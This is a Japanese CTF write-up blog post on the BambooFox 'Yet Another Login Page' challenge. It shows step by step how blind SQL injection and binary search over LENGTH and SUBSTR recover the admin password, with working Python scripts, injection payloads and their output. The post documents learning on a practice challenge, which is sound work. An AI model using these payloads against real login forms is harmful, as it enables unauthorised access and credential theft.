ACCE55_DE21ED

競プロとCTF

adminのpwが分からない?wフッフッフッw

0. もんだい

BambooFox CTF Web "Yet Another Login Page"

f:id:defineprogram:20210118095953p:plain

青背景に昔のWindowsのフォームみたいなのが動いているやつです.入力しにくい...

ところで,実はこの問題解けてません(は?)adminのpw当ててログインしたのに "Hello admin 。:.゚ヽ(*´∀`)ノ゚.:。" で終わりはないよなあああああ!!!

折角なので pw 特定に使った Blind SQL Injection に関する知見を残しておこうと思います.解法に関係なかったら悲しすぎる

1. ちょっと調査(激ウマギャグ)

まず,HTMLの要素を見てPOSTの要素名がそれぞれ"username" と "password" である事を確認します(入力しづらいし,Pythonからやりたいだろ)

ここから脆弱性の検査に入ります.まずはSQL Injectionを疑ってUsernameに ' を入れてみると...

Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

はい,SQL Injectionですね間違いない(確信).なぜSQLi が効く場合Errorが出るかと言うと,例えば

SELECT username FROM users WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'

のようなSQL文の場合,username に ' を入れると username のシングルクォートが閉じてしまい,以下のような文になってしまうからです.

SELECT username FROM users WHERE username=''' AND password=''

usernameの所がシングルクォート3つになっていておかしいですよね.それでErrorが出たという訳です.

2. もうちょっと調査

(基本事項)

  • usernameにadminを入れると,"Wrong password for admin, login from **.***.***.***." と返ってくる.
  • admin以外を入れると,"User not found!" と返ってくる.
  • 何をしても上の2つとError以外のresponseは返ってこない
  • DB上も要素名はusernameとpasswordらしい

ところで,SQLi が効く時に使える魔法の言葉を知っていますか?せーの!

' OR 1=1 --

これは,usernameのシングルクォートを閉じた上で1=1(True)とのORを取る事で必ず真にしてログインできるようにする魔法の言葉です. すごいですね!さっそく入れてみましょう

Wrong password for admin, login from **.***.***.***.

SQLクエリで返ってきたpwとPOSTのpwが一致してないとWrongって出す仕様なのか,pwを特定しない事には入れなさそうな感じがあります.

3. adminのpwが分からない?wフッフッフッw

レスポンスが限られている状態でもどうにかしてpwを特定したい時使えるテクがあります.

その名も,"Blind SQL Injection"

はかせ「ワシが説明しよう」
こどもたち「はかせー!!」
はかせ「Blind SQL Injectionとは,SQLiで意図的にレスポンスを変化させる事で,pwなどの情報を抜き取るテクニックじゃ.当たり前じゃが,他人のサーバに仕掛けたらダメじゃぞ.でないとワシのように ... (ガチャ 『警察だ!不正アクセス容疑で...』」
こどもたち「はかせー!!」

それでは,Blind SQLi を使ってadminのpwを抜き取ってやりましょう!!

3-1. Blind SQL Injectionの適用

usernameの中身によるレスポンスの違いを見てみましょう.

  1. ' AND 0 OR username='admin' --
  2. ' AND 0 OR username='admin' AND 0 --

前者は "Wrong password for admin, login from **.***.***.***." , 後者は "User not found!" が返ってきました.

これは,前者は一応SQL文の実行結果としてusername='admin'が返ってきているのに対して,後者はAND 0を取られることによって何も返ってこず,結果的にUser not foundになっていると考えられます.

よって,ANDの後に True/False となる文を入れる事で,意図的にレスポンスを変化させられる事が分かりました!

3-2. pwの長さが分からない?wフッフッフッw

まずは,pwの長さを特定しましょう.MySQLにはLENGTHという文字列の長さを返してくれる便利な関数があります.これを使うと,例えば

' AND 0 OR (username='admin' AND length(password)>=0) --

ならWrong password,

' AND 0 OR (username='admin' AND length(password)>=1000) --

ならUser not foundが返ってきます.ところで,pwの長さって単調性がありますよね..?

そこで,二分探索をします.つまり,

' AND 0 OR (username='admin' AND length(password)>={mid}) --

でWrong passwordならpwの長さは mid 以上,User not foundなら mid 未満といった具合です.

import requests

url="http://chall.ctf.bamboofox.tw:9527/login"

def check(data):
    res=requests.post(url,data)
    if "Wrong password for admin" in res.text:
        return True
    return False

ok,ng=0,100
while ng-ok>1:
    mid=(ok+ng)//2
    form={
        "username":f"' AND 0 OR username='admin' AND length(password)>={mid} --",
        "password":""
    }
    if check(form):
        ok=mid
    else :
        ng=mid
print(f"[+] LENGTH : {ok}")
$ python3 sql.py
[+] LENGTH : 43

結果,pwの長さは43である事が分かりました.

3-3. pwの i 文字目が何か分からない?wフッフッフッw

もう1つ便利な関数として,SUBSTRがあります.SUBSTR(str , i , j) = str の i 文字目から j 文字切り取った文字列を返します.文字番号は1-indexed なので注意です.

よって,5 文字目が 'A' 以上か判定するには次のような文字列を挿入すれば良いです.

' AND 0 OR username='admin' AND SUBSTR(password,5,1)>='A' --

こちらも単調性があるので,二分探索ができます.

これを1文字目から順番にやって行く事で,pwを特定できます.

import requests

url="http://chall.ctf.bamboofox.tw:9527/login"

def check(data):
    res=requests.post(url,data)
    if "Wrong password for admin" in res.text:
        return True
    return False

ok,ng=0,100
while ng-ok>1:
    mid=(ok+ng)//2
    form={
        "username":f"' AND 0 OR username='admin' AND length(password)>={mid} --",
        "password":""
    }
    if check(form):
        ok=mid
    else :
        ng=mid
print(f"[+] LENGTH : {ok}")
length=ok

pw=""
for i in range(length):
    ok,ng=0,128
    while ng-ok>1:
        mid=(ok+ng)//2
        form={
            "username":f"' AND 0 OR username='admin' AND SUBSTR(password,{i+1},1)>=CHAR({mid}) --",
            "password":""
        }
        if check(form):
            ok=mid
        else :
            ng=mid
    pw+=chr(ok)
    print(f"[+] {pw}")
$ python3 sql.py
[+] LENGTH : 43
[+] w
[+] w1
[+] w1M
[+] w1ME
[+] w1MEo
...
[+] w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdt
[+] w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdtO
[+] w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdtOo

より,adminのpwを "w1MEoJZVmhu2u7GWN6V4SJRTUrLQxDJK9MBCWezdtOo" と特定する事ができました.やったね!

4. to be continued ...

pw特定したのに解けませんでした.チックショー!!!